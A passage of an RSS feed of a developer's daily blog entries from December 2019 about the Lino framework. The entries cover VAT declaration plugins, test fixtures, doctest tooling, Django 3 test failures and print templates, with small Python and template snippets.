have something with reduced and exempt VAT class:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="k"&gt;yield&lt;/span&gt; &lt;span class="n"&gt;product&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;29.90&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;**&lt;/span&gt;&lt;span class="n"&gt;dd&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;str2kw&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;name&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;_&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;Book&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="n"&gt;vat_class&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;reduced&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;span class="k"&gt;yield&lt;/span&gt; &lt;span class="n"&gt;product&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;1.40&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;**&lt;/span&gt;&lt;span class="n"&gt;dd&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;str2kw&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;name&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;_&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;Stamp&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="n"&gt;vat_class&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;exempt&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;The furniture fixture was duplicated in xl, cosi and pronto.  And only that of
cosi was actually being used.  Oops, in pronto it differs slightly because it
uses different ProductTypes.&lt;/p&gt;
&lt;p&gt;VAT columns aren’t actually needed for filling the Estonian VAT declaration.
This configuration logic was originally taken from TIM.
I guess that they are actually useless in Belgium as well.&lt;/p&gt;
&lt;p&gt;I fixed a pitfall in the lino.utils.cycler : it didn’t complain when I specified
a string with an invalid value for a choicelist field. TIL: dict.get() returns
None when you call it without giving a default value. I had to verify this:&lt;/p&gt;
&lt;div class="doctest highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="n"&gt;items_dict&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;a&amp;quot;&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="k"&gt;def&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;get_by_value&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;value&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;args&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
&lt;span class="gp"&gt;... &lt;/span&gt;    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;items_dict&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;value&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;args&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="n"&gt;get_by_value&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;a&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="go"&gt;1&lt;/span&gt;
&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="n"&gt;get_by_value&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;b&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="go"&gt;2&lt;/span&gt;
&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;get_by_value&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;b&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;span class="go"&gt;None&lt;/span&gt;
&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;items_dict&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;b&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;span class="go"&gt;None&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Note the difference between &lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;ledger.MovementsByVoucher&lt;/span&gt;&lt;/code&gt; and
&lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;vat.MovementsByVoucher&lt;/span&gt;&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;I start to think that I might do the xml file export en passant now that I am
inside this stuff:&lt;/p&gt;
&lt;p&gt;&lt;a class="reference external" href="https://www.emta.ee/et/ariklient/tulu-kulu-kaive-kasum/kaibedeklaratsiooni-esitamine/kaibedeklaratsiooni-tehniline"&gt;https://www.emta.ee/et/ariklient/tulu-kulu-kaive-kasum/kaibedeklaratsiooni-esitamine/kaibedeklaratsiooni-tehniline&lt;/a&gt;&lt;/p&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2019/1210.html</guid><pubDate>Tue, 10 Dec 2019 00:00:00 +0000</pubDate></item><item><title>Saturday, December 7, 2019</title><link>https://luc.lino-framework.org/blog/2019/1207.html</link><description>&lt;section id="saturday-december-7-2019"&gt;
&lt;h1&gt;Saturday, December 7, 2019&lt;a class="headerlink" href="#saturday-december-7-2019" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;section id="django-3-knows-how-to-say-year-in-french"&gt;
&lt;h2&gt;Django 3 knows how to say “Year” in French&lt;a class="headerlink" href="#django-3-knows-how-to-say-year-in-french" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;&lt;a class="reference external" href="https://travis-ci.org/lino-framework/welfare/jobs/621917966"&gt;This failure&lt;/a&gt;
was because my tests were still in Django 3 pre, but the final release knows
that “Year” is “Année” in French.&lt;/p&gt;
&lt;p&gt;To fix it, I didn’t change the expected output but rather added an explicit
&lt;cite&gt;language=”en”&lt;/cite&gt; to my calls to &lt;a class="reference external" href="https://dev.lino-framework.org/src/lino/api/rt/index.html#lino.api.rt.show" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-func docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino.api.rt.show()&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;.  Because specs pages
should make sense also to people who don’t know French.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="miscellaneous"&gt;
&lt;h2&gt;Miscellaneous&lt;a class="headerlink" href="#miscellaneous" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;A failure in &lt;code class="file docutils literal notranslate"&gt;&lt;span class="pre"&gt;docs/specs/tera/sql.rst&lt;/span&gt;&lt;/code&gt; seems to be because some arbitrary
evaluation order at some place.  One possible culprit is the &lt;a class="reference external" href="https://dev.lino-framework.org/ref/demo_fixtures.html#fixture-demo2" title="(in Lino Developer Guide)"&gt;&lt;code class="xref std std-fixture docutils literal notranslate"&gt;&lt;span class="pre"&gt;demo2&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;
fixture of &lt;a class="reference external" href="https://dev.lino-framework.org/api/lino_xl.lib.excerpts.html#module-lino_xl.lib.excerpts" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_xl.lib.excerpts&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;, which didn’t specify &lt;code class="xref py py-meth docutils literal notranslate"&gt;&lt;span class="pre"&gt;order_by()&lt;/span&gt;&lt;/code&gt;
when looping over the excerpt types:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;et&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;ExcerptType&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;objects&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;all&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;order_by&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;id&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;/section&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2019/1207.html</guid><pubDate>Sat, 07 Dec 2019 00:00:00 +0000</pubDate></item><item><title>Friday, December 6, 2019</title><link>https://luc.lino-framework.org/blog/2019/1206.html</link><description>&lt;section id="friday-december-6-2019"&gt;
&lt;h1&gt;Friday, December 6, 2019&lt;a class="headerlink" href="#friday-december-6-2019" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;Today’s changes are about two things.&lt;/p&gt;
&lt;section id="optimizations-around-missingaccount"&gt;
&lt;h2&gt;Optimizations around MissingAccount&lt;a class="headerlink" href="#optimizations-around-missingaccount" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;I fixed two bugs that came when some common account was not configured: A bug in
&lt;a class="reference external" href="https://dev.lino-framework.org/api/lino_xl.lib.sheets.html#module-lino_xl.lib.sheets" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_xl.lib.sheets&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; that caused a  TypeError  “int() argument must be a
string, a bytes-like object or a number, not ‘MissingAccount’” when you tried to
render &lt;a class="reference external" href="https://dev.lino-framework.org/plugins/sheets.html#lino_xl.lib.sheets.Report" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_xl.lib.sheets.Report&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;. And an AttributeError
“‘MissingAccount’ object has no attribute ‘get_detail_action’” when tried to
show the list of trade types.&lt;/p&gt;
&lt;p&gt;The &lt;a class="reference external" href="https://dev.lino-framework.org/ref/demo_fixtures.html#fixture-std" title="(in Lino Developer Guide)"&gt;&lt;code class="xref std std-fixture docutils literal notranslate"&gt;&lt;span class="pre"&gt;std&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; fixture for &lt;a class="reference external" href="https://dev.lino-framework.org/api/lino_xl.lib.accounting.html#module-lino_xl.lib.accounting" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_xl.lib.accounting&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; now deliberately leaves
one common account (the “Net loss” one, which isn’t used anywhere so far)
without a database object in order to reproduce this situation. I added test
cases to cover it.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="testing-the-content-of-a-detail-window"&gt;
&lt;h2&gt;Testing the content of a detail window&lt;a class="headerlink" href="#testing-the-content-of-a-detail-window" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;After this side step I can finally configure the fields of the VAT
declaration…&lt;/p&gt;
&lt;p&gt;… but the main challenge with this task is that the mere &lt;em&gt;testing of the
results&lt;/em&gt; (“Is the number in field XYZ correct?”) is a lot of work because it
requires diving into the stuff and the language of VAT offices. I want to do
that work only once if possible. IOW : no manual testing. Everything must be
tested in the specs.  A good example of where you want test-driven development.&lt;/p&gt;
&lt;p&gt;And Lino does not yet have a way to say in a doctest:&lt;/p&gt;
&lt;div class="doctest highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="n"&gt;obj&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;eevat&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;VatDeclaration&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;objets&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;id&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="n"&gt;rt&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;show&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;obj&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="go"&gt;(and the expected output would be a textual representation of a detail window of&lt;/span&gt;
&lt;span class="go"&gt;that database object)&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;So I opened &lt;a class="extlink-ticket reference external" href="https://jane.mylino.net/#/api/tickets/AllTickets/3395"&gt;#3395&lt;/a&gt;. At first I thought about doing it with Selenium, but
then I simply extended &lt;code class="xref py py-func docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino.utils.py2rst()&lt;/span&gt;&lt;/code&gt; to also support rendering a
database object. I added a test case to the specs page for &lt;a class="reference external" href="https://dev.lino-framework.org/plugins/eevat.html#dg-plugins-eevat" title="(in Lino Developer Guide)"&gt;&lt;span&gt;eevat : Estonian VAT declarations&lt;/span&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Voilà, testing is set up.
I can start doing that dull work of configuring those damn VAT fields.&lt;/p&gt;
&lt;/section&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2019/1206.html</guid><pubDate>Fri, 06 Dec 2019 00:00:00 +0000</pubDate></item><item><title>Thursday, December 5, 2019</title><link>https://luc.lino-framework.org/blog/2019/1205.html</link><description>&lt;section id="thursday-december-5-2019"&gt;
&lt;h1&gt;Thursday, December 5, 2019&lt;a class="headerlink" href="#thursday-december-5-2019" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;section id="working-on-getlino-test-suite"&gt;
&lt;h2&gt;Working on getlino test suite&lt;a class="headerlink" href="#working-on-getlino-test-suite" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;I opened &lt;a class="extlink-ticket reference external" href="https://jane.mylino.net/#/api/tickets/AllTickets/3383"&gt;#3383&lt;/a&gt; and then saw that Hamza had already done it :-) I saw
that &lt;a class="reference external" href="https://travis-ci.org/lino-framework/getlino"&gt;travis now says&lt;/a&gt;
&lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;AttributeError:&lt;/span&gt; &lt;span class="pre"&gt;'BaseDockerTest'&lt;/span&gt; &lt;span class="pre"&gt;object&lt;/span&gt; &lt;span class="pre"&gt;has&lt;/span&gt; &lt;span class="pre"&gt;no&lt;/span&gt; &lt;span class="pre"&gt;attribute&lt;/span&gt; &lt;span class="pre"&gt;'docker_tag'&lt;/span&gt;&lt;/code&gt;
and fixed that (it was a typo in my last commit). Next problem : I opened
&lt;a class="extlink-ticket reference external" href="https://jane.mylino.net/#/api/tickets/AllTickets/3384"&gt;#3384&lt;/a&gt; but didn’t start working on this.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="preparing-a-demo-for-cosi3"&gt;
&lt;h2&gt;Preparing a demo for cosi3&lt;a class="headerlink" href="#preparing-a-demo-for-cosi3" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Summary of the demo tour:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;create a person “Tom Testa”, register a sales invoice for him. Dated today (outside the dates of existing invoices)&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;create a company “Testers OÜ” and register a purchases invoice for them. Same date.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;register a VAT declaration&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;At this point I saw that (1) it’s not easy to visualize which invoices are
covered by a declaration and (2) The Estonian VAT declaration is currently just
an adapted copy of the Belgian one. I started to adapt it to the &lt;a class="reference external" href="https://www.riigiteataja.ee/akt/118112014002?leiaKehtiv"&gt;Estonian law&lt;/a&gt;, but that’s not
finished.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="see-invoices-being-declared-by-a-vat-declaration"&gt;
&lt;h2&gt;See invoices being declared by a VAT declaration&lt;a class="headerlink" href="#see-invoices-being-declared-by-a-vat-declaration" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;..currentmodule:: lino_xl.lib.vat&lt;/p&gt;
&lt;p&gt;Two new tables &lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;PurchasesByDeclaration&lt;/span&gt;&lt;/code&gt; and &lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;SalesByDeclaration&lt;/span&gt;&lt;/code&gt;
in &lt;a class="reference external" href="https://dev.lino-framework.org/plugins/vat.html#module-lino_xl.lib.vat" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_xl.lib.vat&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;.  These are included in the &lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;VatDeclaration&lt;/span&gt;&lt;/code&gt;
detail view of &lt;a class="reference external" href="https://dev.lino-framework.org/api/lino_xl.lib.eevat.html#module-lino_xl.lib.eevat" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_xl.lib.eevat&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; (other national plugins will follow).&lt;/p&gt;
&lt;p&gt;As a side effect we have a new model mixin &lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;VatVoucher&lt;/span&gt;&lt;/code&gt;. This mixin is
needed as the model of the new table &lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;VatInvoices&lt;/span&gt;&lt;/code&gt;, which is the abstract
base for our two new tables and the two existing tables &lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;IntracomSales&lt;/span&gt;&lt;/code&gt;
and &lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;IntracomPurchases&lt;/span&gt;&lt;/code&gt;.  A table on an abstract model calls –of
course– only the &lt;code class="xref py py-meth docutils literal notranslate"&gt;&lt;span class="pre"&gt;setup_parameters&lt;/span&gt;&lt;/code&gt; of the abstract model.  So we needed a
mixin that extends &lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;VatDocument&lt;/span&gt;&lt;/code&gt; by inheriting also from
&lt;a class="reference external" href="https://dev.lino-framework.org/plugins/accounting.html#lino_xl.lib.accounting.Voucher" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_xl.lib.accounting.Voucher&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; and &lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_xl.lib.sepa.Payable&lt;/span&gt;&lt;/code&gt;. This
was needed because otherwise the two new tables didn’t get the parameter fields
&lt;cite&gt;start_period&lt;/cite&gt; and &lt;cite&gt;end_period&lt;/cite&gt; defined in
&lt;a class="reference external" href="https://dev.lino-framework.org/plugins/accounting.html#lino_xl.lib.accounting.PeriodRangeObservable" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_xl.lib.accounting.PeriodRangeObservable&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;I fell into a subtle pit: &lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;IntracomPurchases&lt;/span&gt;&lt;/code&gt; had the following
&lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;params_layout&lt;/span&gt;&lt;/code&gt; inherited from &lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;ledger.PartnerVouchers&lt;/span&gt;&lt;/code&gt;:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="n"&gt;params_layout&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;partner project state journal start_period end_period cleared&amp;quot;&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;and it has the following &lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;hidden_elements&lt;/span&gt;&lt;/code&gt;:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="n"&gt;hidden_elements&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;frozenset&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="sd"&gt;&amp;quot;&amp;quot;&amp;quot;entry_date journal__trade_type journal number&lt;/span&gt;
&lt;span class="sd"&gt;    journal__trade_type state user&amp;quot;&amp;quot;&amp;quot;&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;split&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;The hidden_elements are meant for data fields, but two of them (journal and
state) have the same name as a parameter field.  I must explicitly remove them
from the &lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;params_layout&lt;/span&gt;&lt;/code&gt; to avoid an error message about “expected 6
parameter values but got only 4”:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="n"&gt;params_layout&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;partner project start_period end_period cleared&amp;quot;&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;/section&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2019/1205.html</guid><pubDate>Thu, 05 Dec 2019 00:00:00 +0000</pubDate></item><item><title>Tuesday, December 3, 2019</title><link>https://luc.lino-framework.org/blog/2019/1203.html</link><description>&lt;section id="tuesday-december-3-2019"&gt;
&lt;h1&gt;Tuesday, December 3, 2019&lt;a class="headerlink" href="#tuesday-december-3-2019" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;I had a look at the Lino book using my mobile phone, imagining somebody who does
not yet know Lino and tries to evaluate the project.  The first stumblestone was
that the default sphinx theme (used by all sites) is not really mobile-friendly.
I asked Google and found &lt;a class="reference external" href="https://sphinx-rtd-theme.readthedocs.io/en/stable/"&gt;sphinx_rtd_style&lt;/a&gt;.
Atelier now installs this as theme on all our sites.&lt;/p&gt;
&lt;p&gt;I started to review the Community Guide.  Quite some  changes (result of
recent discussions with customers) are currently only in a German pdf file, I
started only today to translate these changes into the community website.   I
believe that service providers make many promises, but what actually matters are
the contracts. The idea of the Community Guide is to have a public (and freely
reusable) document that serves as a legal base for concluding contracts. I
invested much time into this because (a) I am naive and want to understand the
whole world, and (b) because I believe that the &lt;a class="reference external" href="https://community.lino-framework.org/directives/index.html"&gt;Collaboration directives&lt;/a&gt; can help small
service providers to start business.  But the work is not finished. I need to
write more text in the community guide in order to answer questions about
security.&lt;/p&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2019/1203.html</guid><pubDate>Tue, 03 Dec 2019 00:00:00 +0000</pubDate></item><item><title>Monday, December 2, 2019</title><link>https://luc.lino-framework.org/blog/2019/1202.html</link><description>&lt;section id="monday-december-2-2019"&gt;
&lt;h1&gt;Monday, December 2, 2019&lt;a class="headerlink" href="#monday-december-2-2019" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;I am working on &lt;a class="extlink-ticket reference external" href="https://jane.mylino.net/#/api/tickets/AllTickets/3374"&gt;#3374&lt;/a&gt; (invoice is being printed in landscape
orientation) .&lt;/p&gt;
&lt;p&gt;It occurs in both extjs and react.&lt;/p&gt;
&lt;p&gt;Also, under React, the help text of the print button is “Print a Belgian VAT
declaration”. It should be “Create an excerpt in order to print this data
record” (which is not the perfect example of an end-user friendly help text, but
that’s another ticket).&lt;/p&gt;
&lt;p&gt;Under ExtJS the “Clear cache” button is missing.&lt;/p&gt;
&lt;p&gt;The &lt;a class="reference external" href="https://dev.lino-framework.org/plugins/accounting.html#xfile-base.weasy.html" title="(in Lino Developer Guide)"&gt;&lt;code class="xref std std-xfile docutils literal notranslate"&gt;&lt;span class="pre"&gt;base.weasy.html&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; template has:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="nd"&gt;@page&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;size&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="o"&gt;%-&lt;/span&gt; &lt;span class="n"&gt;block&lt;/span&gt; &lt;span class="n"&gt;pagesize&lt;/span&gt; &lt;span class="o"&gt;%&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="n"&gt;landscape&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="o"&gt;%-&lt;/span&gt; &lt;span class="n"&gt;endblock&lt;/span&gt; &lt;span class="o"&gt;%&lt;/span&gt;&lt;span class="p"&gt;};&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;But the &lt;code class="xref std std-xfile docutils literal notranslate"&gt;&lt;span class="pre"&gt;default.weasy.html&lt;/span&gt;&lt;/code&gt; template for
